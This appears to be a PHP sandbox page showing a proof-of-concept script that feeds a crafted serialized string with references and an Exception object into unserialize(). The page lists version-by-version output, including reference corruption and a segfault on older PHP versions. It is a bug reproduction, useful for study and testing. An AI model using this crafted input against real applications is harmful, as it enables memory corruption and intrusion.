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<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;a:1:{i:0;i:1;}}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);
Output for 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
Fatal error: Uncaught TypeError: Cannot assign array to property Exception::$string of type string in /in/I9tvP:11 Stack trace: #0 /in/I9tvP(11): unserialize('a:3:{i:0;O:9:"e...') #1 {main} thrown in /in/I9tvP on line 11
Process exited with code 255.
Output for 5.4.39 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.28, 7.0.20, 7.1.5 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
array(3) { [0]=> &int(1) [1]=> object(obj)#2 (1) { ["prop"]=> &int(1) } [2]=> array(1) { [0]=> array(1) { [0]=> int(1) } } }
Output for 7.0.0 - 7.0.6, 7.1.0
array(2) { [0]=> &int(1) [1]=> object(obj)#2 (1) { ["prop"]=> &int(1) } }
Output for 5.4.9 - 5.4.38
array(3) { [0]=> &int(1) [1]=> object(obj)#2 (1) { ["prop"]=> &int(1) } [2]=> &NULL }
Output for 5.4.2 - 5.4.8
array(3) { [0]=> &int(1) [1]=> object(obj)#2 (1) { ["prop"]=> &int(1) } [2]=> *RECURSION* }
Process exited with code 139.

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